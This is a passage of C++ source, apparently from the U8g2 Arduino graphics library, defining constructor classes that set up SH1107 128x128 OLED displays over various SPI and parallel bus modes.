reset); } }; class U8G2_SH1107_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X128_1_6800 : public U8G2 { public: U8G2_SH1107_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_1_8080 : public U8G2 { public: U8G2_SH1107_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_6800 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_8080 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_128X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_128X128_1_6800 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_1_8080 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X128_2_6800 : public U8G2 { public: U8G2_SH1107_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_2_8080 : public U8G2 { public: U8G2_SH1107_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_6800 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_8080 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_128X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_128X128_2_6800 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_2_8080 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X128_F_6800 : public U8G2 { public: U8G2_SH1107_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_F_8080 : public U8G2 { public: U8G2_SH1107_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_6800 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_8080 : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, 